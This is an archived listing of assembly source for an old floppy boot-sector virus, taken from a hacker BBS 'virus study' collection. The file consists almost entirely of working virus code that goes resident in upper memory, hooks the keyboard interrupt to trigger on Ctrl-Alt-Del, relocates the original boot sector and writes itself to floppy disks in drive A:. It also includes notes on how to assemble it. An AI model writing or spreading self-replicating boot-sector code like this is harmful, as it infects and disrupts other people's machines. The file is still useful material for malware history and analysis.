home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / c-a-d.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  21.1 KB  |  432 lines

  1. ;****************************************************************************;
  2.  
  3. ;                                                                            ;
  4.  
  5. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  6.  
  7. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  8.  
  9. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  10.  
  11. ;                     -=]                            [=-                     ;
  12.  
  13. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  14.  
  15. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  16.  
  17. ;                     -=]                            [=-                     ;
  18.  
  19. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  20.  
  21. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  22.  
  23. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  24.  
  25. ;                                                                            ;
  26.  
  27. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  28.  
  29. ;                                                                            ;
  30.  
  31. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  32.  
  33. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  34.  
  35. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  36.  
  37. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  38.  
  39. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  40.  
  41. ; Is. Keep This Code in Responsible Hands!                                   ;
  42.  
  43. ;                                                                            ;
  44.  
  45. ;****************************************************************************;
  46.  
  47. ;-----------------------------------------------------------------------;
  48.  
  49. ; This virus is of the ?FLOPPY ONLY? variety.                           ;
  50.  
  51. ; It replicates to the boot sector of a floppy disk and when it gains control
  52.  
  53. ; it will move itself to upper memory.  It redirects the keyboard       ;
  54.  
  55. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  56.  
  57. ; it will attempt to infect any floppy it finds in drive A:.            ;
  58.  
  59. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  60.  
  61. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  62.  
  63. ; and should that area be used by a file, the virus                     ;
  64.  
  65. ; will die.  It also contains no anti detection mechanisms as does the  ;
  66.  
  67. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  68.  
  69. ; sector 9 because this is common to all floppy formats both single     ;
  70.  
  71. ; sided and double sided.  It does not contain any malevolent TROJAN    ;
  72.  
  73. ; HORSE code.  It does appear to contain a count of how many times it   ;
  74.  
  75. ; has infected other diskettes although this is harmless and the count  ;
  76.  
  77. ; is never accessed.                                                    ;
  78.  
  79. ;                                                                       ;
  80.  
  81. ; Things to note about this virus:                                      ;
  82.  
  83. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  84.  
  85. ; is its primary (only for that matter) means of reproduction to other  ;
  86.  
  87. ; floppy diskettes.  The only way to remove it from an infected system  ;
  88.  
  89. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  90.  
  91. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  92.  
  93. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  94.  
  95. ; it activates and infectes the floppy from which the user is           ;
  96.  
  97. ; attempting to boot.                                                   ;
  98.  
  99. ;                                                                       ;
  100.  
  101. ; Also note that because of the POP CS command to pass control to       ;
  102.  
  103. ; its self in upper memory, this virus does not to work on 80286        ;
  104.  
  105. ; machines (because this is not a valid 80286 instruction).             ;
  106.  
  107. ;                                                                       ;
  108.  
  109. ; If your assembler will not allow the POP CS command to execute, replace;
  110.  
  111. ; the POP CS command with an NOP and then assemble it, then debug that  ;
  112.  
  113. ; part of the code and place POP CS in place of NOP at that section.    ;
  114.  
  115. ;                                                                       ;
  116.  
  117. ; The Norton Utilities can be used to identify infected diskettes by    ;
  118.  
  119. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  120.  
  121. ; remove it (unlike the Pakistani Brain).                               ;
  122.  
  123. ;-----------------------------------------------------------------------;
  124.  
  125.                         ;
  126.  
  127.     ORG  7C00H               ;
  128.  
  129.                         ;
  130.  
  131. TOS LABEL     WORD           ;TOP OF STACK
  132.  
  133. ;-----------------------------------------------------------------------;
  134.  
  135. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  136.  
  137. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  138.  
  139. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  140.  
  141. ; 4. Jump to ourself at top of memory                                   ;
  142.  
  143. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  144.  
  145. ;-----------------------------------------------------------------------;
  146.  
  147. BEGIN:   CLI                 ;INITIALIZE STACK
  148.  
  149.     XOR  AX,AX               ;
  150.  
  151.     MOV  SS,AX               ;
  152.  
  153.     MOV  SP,offset TOS       ;
  154.  
  155.     STI                 ;
  156.  
  157.                         ;
  158.  
  159.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  160.  
  161.     MOV  DS,BX               ;
  162.  
  163.     MOV  AX,[0013H]          ;
  164.  
  165.     MUL  BX             ;
  166.  
  167.     SUB  AX,07E0H       ;   (7C00H+512)/16
  168.  
  169.     MOV  ES,AX               ;
  170.  
  171.                         ;
  172.  
  173.     PUSH CS             ;DS = CS
  174.  
  175.     POP  DS             ;
  176.  
  177.                         ;
  178.  
  179.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  180.  
  181.     JNE  B_10           ;
  182.  
  183.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  184.  
  185.                         ;
  186.  
  187. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  188.  
  189.     MOV  DI,SI               ;
  190.  
  191.     MOV  CX,512              ;
  192.  
  193.     CLD                 ;
  194.  
  195.     REP  MOVSB               ;
  196.  
  197.                         ;
  198.  
  199.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  200.  
  201.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  202.  
  203.     MOV  CX,128              ;
  204.  
  205.     REP  MOVSB               ;
  206.  
  207.                         ;
  208.  
  209.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  210.  
  211.                         ;
  212.  
  213.     PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
  214.  
  215.     POP  CS
  216.  
  217.                         ;
  218.  
  219.     PUSH DS   ;DS=0     ;   ES = DS
  220.  
  221.     POP  ES             ;
  222.  
  223.                         ;
  224.  
  225.     MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  226.  
  227.     MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
  228.  
  229.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  230.  
  231.     MOV  AX,0201H       ;   READ SECTOR
  232.  
  233.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  234.  
  235.     JB   $              ;   HANG IF ERROR
  236.  
  237.                         ;
  238.  
  239.     JMP  JMP_BOOT       ;JMP 0000:7C00
  240.  
  241.                         ;
  242.  
  243. ;-----------------------------------------------------------------------;
  244.  
  245. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  246.  
  247. ;                                                                       ;
  248.  
  249. ; ON ENTRY:   DS = 0                                                    ;
  250.  
  251. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  252.  
  253. ;             WHERE NEW_09 IS         (HI)                              ;
  254.  
  255. ;-----------------------------------------------------------------------;
  256.  
  257. PUT_NEW_09:                  ;
  258.  
  259.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  260.  
  261.                         ;
  262.  
  263.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  264.  
  265.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  266.  
  267.     MOV  CX,0004             ;
  268.  
  269.                         ;
  270.  
  271.     CLI                 ;
  272.  
  273.     REP  MOVSB               ;
  274.  
  275.     MOV  Word Ptr [9*4],offset NEW_09
  276.  
  277.     MOV  [(9*4)+2],ES        ;
  278.  
  279.     STI                 ;
  280.  
  281.                         ;
  282.  
  283.     RET                 ;
  284.  
  285.                         ;
  286.  
  287. ;-----------------------------------------------------------------------;
  288.  
  289. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  290.  
  291. ;-----------------------------------------------------------------------;
  292.  
  293. ACK_KEYBD:                   ;
  294.  
  295.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  296.  
  297.     MOV  AH,AL               ;
  298.  
  299.     OR   AL,80H              ;
  300.  
  301.     OUT  61H,AL              ;
  302.  
  303.     XCHG AL,AH               ;
  304.  
  305.     OUT  61H,AL              ;
  306.  
  307.     JMP  RBOOT               ;
  308.  
  309.                         ;
  310.  
  311. ;-----------------------------------------------------------------------;
  312.  
  313. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  314.  
  315. ; REASON UNKNOWN                                                        ;
  316.  
  317. ;-----------------------------------------------------------------------;
  318.  
  319. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  320.  
  321.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  322.  
  323.     DB   27H,0,3,2      ;
  324.  
  325.     DB   27H,0,4,2      ;
  326.  
  327.     DB   27H,0,5,2      ;
  328.  
  329.     DB   27H,0,6,2      ;
  330.  
  331.     DB   27H,0,7,2      ;
  332.  
  333.     DB   27H,0,8,2      ;
  334.  
  335.                         ;
  336.  
  337. ;A7C9A   LABEL     BYTE           ;
  338.  
  339.     DW   00024H              ;NOT USED
  340.  
  341.     DB   0ADH           ;
  342.  
  343.     DB   07CH           ;
  344.  
  345.     DB   0A3H           ;
  346.  
  347.     DW   00026H              ;
  348.  
  349.                         ;
  350.  
  351. ;L7CA1:                      ;
  352.  
  353.     POP  CX             ;NOT USED
  354.  
  355.     POP  DI             ;
  356.  
  357.     POP  SI             ;
  358.  
  359.     POP  ES             ;
  360.  
  361.     POP  DS             ;
  362.  
  363.     POP  AX             ;
  364.  
  365.     POPF                ;
  366.  
  367.     JMP  1111:1111      ;
  368.  
  369.                         ;
  370.  
  371. ;-----------------------------------------------------------------------;
  372.  
  373. ; IF ALT & CTRL & DEL THEN ...                                          ;
  374.  
  375. ; IF ALT & CTRL & ? THEN ...                                            ;
  376.  
  377. ;-----------------------------------------------------------------------;
  378.  
  379. NEW_09:  PUSHF                    ;
  380.  
  381.     STI                 ;
  382.  
  383.                         ;
  384.  
  385.     PUSH AX             ;
  386.  
  387.     PUSH BX             ;
  388.  
  389.     PUSH DS             ;
  390.  
  391.                         ;
  392.  
  393.     PUSH CS             ;DS=CS
  394.  
  395.     POP  DS             ;
  396.  
  397.                         ;
  398.  
  399.     MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
  400.  
  401.     IN   AL,60H              ;GET SCAN CODE
  402.  
  403.     MOV  AH,AL               ;SAVE IN AH
  404.  
  405.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  406.  
  407.                         ;
  408.  
  409.     CMP  AL,1DH              ;IS IT A [CTRL]...
  410.  
  411.     JNE  N09_10              ;...JUMP IF NO
  412.  
  413.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  414.  
  415.     JMP  N09_30              ;
  416.  
  417.                         ;
  418.  
  419. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  420.  
  421.     JNE  N09_20              ;...JUMP IF NO
  422.  
  423.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  424.  
  425.     JMP  N09_30              ;
  426.  
  427.                         ;
  428.  
  429. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  430.  
  431.     JNE  N09_30              ;...JUMP IF NO
  432.  
  433.                         ;
  434.  
  435.     CMP  AL,17H              ;IF [I]...
  436.  
  437.     JE   N09_X0              ;...JUMP IF YES
  438.  
  439.     CMP  AL,53H              ;IF [DEL]...
  440.  
  441.     JE   ACK_KEYBD      ;...JUMP IF YES
  442.  
  443.                         ;
  444.  
  445. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  446.  
  447.                         ;
  448.  
  449. N09_90:  POP  DS             ;
  450.  
  451.     POP  BX             ;
  452.  
  453.     POP  AX             ;
  454.  
  455.     POPF                ;
  456.  
  457.                         ;
  458.  
  459.     DB   0EAH           ;JMP F000:E987
  460.  
  461. OLD_09   DW   ?              ;
  462.  
  463.     DW   0F000H              ;
  464.  
  465.                         ;
  466.  
  467. N09_X0:  JMP  N09_X1              ;
  468.  
  469.                         ;
  470.  
  471. ;-----------------------------------------------------------------------;
  472.  
  473. ;                                                                       ;
  474.  
  475. ;-----------------------------------------------------------------------;
  476.  
  477. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  478.  
  479.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  480.  
  481.     OUT  DX,AL               ;
  482.  
  483.     CALL DELAY               ;
  484.  
  485.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  486.  
  487.                         ;
  488.  
  489.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  490.  
  491.     INT  10H            ;
  492.  
  493.     MOV  AH,2           ;SET CURSOR POS 0,0
  494.  
  495.     XOR  DX,DX               ;
  496.  
  497.     MOV  BH,DH               ;   PAGE 0
  498.  
  499.     INT  10H            ;
  500.  
  501.                         ;
  502.  
  503.     MOV  AH,1           ;SET CURSOR TYPE
  504.  
  505.     MOV  CX,0607H       ;
  506.  
  507.     INT  10H            ;
  508.  
  509.                         ;
  510.  
  511.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  512.  
  513.     CALL DELAY               ;
  514.  
  515.                         ;
  516.  
  517.     CLI                 ;
  518.  
  519.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  520.  
  521.                         ;
  522.  
  523.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  524.  
  525.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  526.  
  527.     MOV  SI,offset BEGIN - 128    ;
  528.  
  529.     MOV  CX,128              ;
  530.  
  531.     CLD                 ;
  532.  
  533.     REP  MOVSB               ;
  534.  
  535.                         ;
  536.  
  537.     MOV  DS,CX     ;CX=0          ;DS=0
  538.  
  539.                         ;
  540.  
  541.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  542.  
  543.     MOV  [(19H*4)+2],CS      ;
  544.  
  545.                         ;
  546.  
  547.     MOV  AX,0040H       ;DS = ROM DATA AREA
  548.  
  549.     MOV  DS,AX               ;
  550.  
  551.                         ;
  552.  
  553.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  554.  
  555.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  556.  
  557.                         ;
  558.  
  559.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  560.  
  561.     MOV  AX,0F000H      ;
  562.  
  563.     MOV  DS,AX               ;
  564.  
  565.     CMP  Word Ptr [0E502H],21E4H  ;
  566.  
  567.     POP  DS             ;
  568.  
  569.     JE   R_90           ;
  570.  
  571.     INT  19H            ;   IF NOT...REBOOT
  572.  
  573.                         ;
  574.  
  575. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  576.  
  577.                         ;
  578.  
  579. ;-----------------------------------------------------------------------;
  580.  
  581. ; REBOOT INT VECTOR                                                     ;
  582.  
  583. ;-----------------------------------------------------------------------;
  584.  
  585. NEW_19:  XOR  AX,AX               ;
  586.  
  587.                         ;
  588.  
  589.     MOV  DS,AX               ;DS=0
  590.  
  591.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  592.  
  593.     TEST AL,1           ;IF FLOPPY DRIVES ...
  594.  
  595.     JNZ  N19_20              ;...JUMP
  596.  
  597. N19_10:  PUSH CS             ;ELSE ES=CS
  598.  
  599.     POP  ES             ;
  600.  
  601.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  602.  
  603.     INT  18H            ;LOAD BASIC
  604.  
  605.                         ;
  606.  
  607. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  608.  
  609.                         ;
  610.  
  611. N19_22:  PUSH CX             ;
  612.  
  613.     MOV  AH,00               ;RESET DISK
  614.  
  615.     INT  13             ;
  616.  
  617.     JB   N19_81              ;
  618.  
  619.     MOV  AX,0201             ;READ BOOT SECTOR
  620.  
  621.     PUSH DS             ;
  622.  
  623.     POP  ES             ;
  624.  
  625.     MOV  BX,offset BEGIN          ;
  626.  
  627.     MOV  CX,1           ;TRACK 0, SECTOR 1
  628.  
  629.     INT  13H            ;
  630.  
  631. N19_81:  POP  CX             ;
  632.  
  633.     JNB  N19_90              ;
  634.  
  635.     LOOP N19_22              ;
  636.  
  637.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  638.  
  639.                         ;
  640.  
  641. ;-----------------------------------------------------------------------;
  642.  
  643. ; Reinfection segment.                                                  ;
  644.  
  645. ;-----------------------------------------------------------------------;
  646.  
  647. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  648.  
  649.     JNZ  RE_INFECT      ;...RE INFECT
  650.  
  651.                         ;
  652.  
  653. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  654.  
  655.     JMP  0000:7C00H          ;
  656.  
  657.                         ;
  658.  
  659. ;-----------------------------------------------------------------------;
  660.  
  661. ; Reinfection Segment.                                                  ;
  662.  
  663. ;-----------------------------------------------------------------------;
  664.  
  665. RE_INFECT:                   ;
  666.  
  667.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  668.  
  669.     MOV  CX,00E6H       ;   OURSELF
  670.  
  671.     MOV  DI,SI               ;
  672.  
  673.     PUSH CS             ;
  674.  
  675.     POP  ES             ;
  676.  
  677.     CLD                 ;
  678.  
  679.     REPE CMPSB               ;
  680.  
  681.     JE   RI_12               ;IF NOT EQUAL...
  682.  
  683.                         ;
  684.  
  685.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  686.  
  687.                         ;
  688.  
  689. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  690.  
  691.     MOV  BX,offset TABLE          ;FORMAT INFO
  692.  
  693.     MOV  DX,0000             ;DRIVE A: HEAD 0
  694.  
  695.     MOV  CH,40-1             ;TRACK 39
  696.  
  697.     MOV  AH,5           ;FORMAT
  698.  
  699.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  700.  
  701.                         ;
  702.  
  703. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  704.  
  705.     JB   RI_80               ;
  706.  
  707.                         ;
  708.  
  709. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  710.  
  711. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  712.  
  713.     MOV  BX,offset BEGIN          ;TRACK 40H
  714.  
  715.     MOV  CL,8           ;SECTOR 8
  716.  
  717.     MOV  AX,0301H       ;WRITE 1 SECTOR
  718.  
  719.     INT  13H            ;
  720.  
  721.                         ;
  722.  
  723.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  724.  
  725.     POP  ES             ;
  726.  
  727.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  728.  
  729.                         ;
  730.  
  731.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  732.  
  733.     MOV  AX,0301             ;
  734.  
  735.     INT  13H            ;
  736.  
  737.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  738.  
  739.                         ;
  740.  
  741. RI_12:   MOV  DI,3456H       ;SET ?JUST INFECTED ANOTHER ONE?...
  742.  
  743.     INT  19H            ;...FLAG AND REBOOT
  744.  
  745.                         ;
  746.  
  747. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  748.  
  749.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  750.  
  751.     JMP  JMP_BOOT       ;
  752.  
  753.                         ;
  754.  
  755. ;-----------------------------------------------------------------------;
  756.  
  757. ;                                                                       ;
  758.  
  759. ;-----------------------------------------------------------------------;
  760.  
  761. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  762.  
  763.                         ;
  764.  
  765.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  766.  
  767.     MOV  BX,0040H       ;
  768.  
  769.     MOV  DS,BX               ;
  770.  
  771.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  772.  
  773.     JMP  N09_90              ;
  774.  
  775.                         ;
  776.  
  777. ;-----------------------------------------------------------------------;
  778.  
  779. ; DELAY                                                                 ;
  780.  
  781. ;                                                                       ;
  782.  
  783. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  784.  
  785. ;-----------------------------------------------------------------------;
  786.  
  787. DELAY:   SUB  CX,CX               ;
  788.  
  789. D_01:    LOOP $              ;
  790.  
  791.     SUB  AH,1           ;
  792.  
  793.     JNZ  D_01           ;
  794.  
  795.     RET                 ;
  796.  
  797.                         ;
  798.  
  799. ;-----------------------------------------------------------------------;
  800.  
  801. ;                                                                       ;
  802.  
  803. ;-----------------------------------------------------------------------;
  804.  
  805. A7DF4         DB   27H,00H,8,2
  806.  
  807.  
  808.  
  809. COUNTER_1     DW   001CH
  810.  
  811. ALT_CTRL      DW   0
  812.  
  813. A7DFC         DB   27H,0,8,2
  814.  
  815.  
  816.  
  817. ;****************************************************************************;
  818.  
  819. ;                                                                            ;
  820.  
  821. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  822.  
  823. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  824.  
  825. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  826.  
  827. ;                     -=]                            [=-                     ;
  828.  
  829. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  830.  
  831. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  832.  
  833. ;                     -=]                            [=-                     ;
  834.  
  835. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  836.  
  837. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  838.  
  839. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  840.  
  841. ;                                                                            ;
  842.  
  843. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  844.  
  845. ;                                                                            ;
  846.  
  847. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  848.  
  849. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  850.  
  851. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  852.  
  853. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  854.  
  855. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  856.  
  857. ; Is. Keep This Code in Responsible Hands!                                   ;
  858.  
  859. ;                                                                            ;
  860.  
  861. ;****************************************************************************;
  862.  
  863.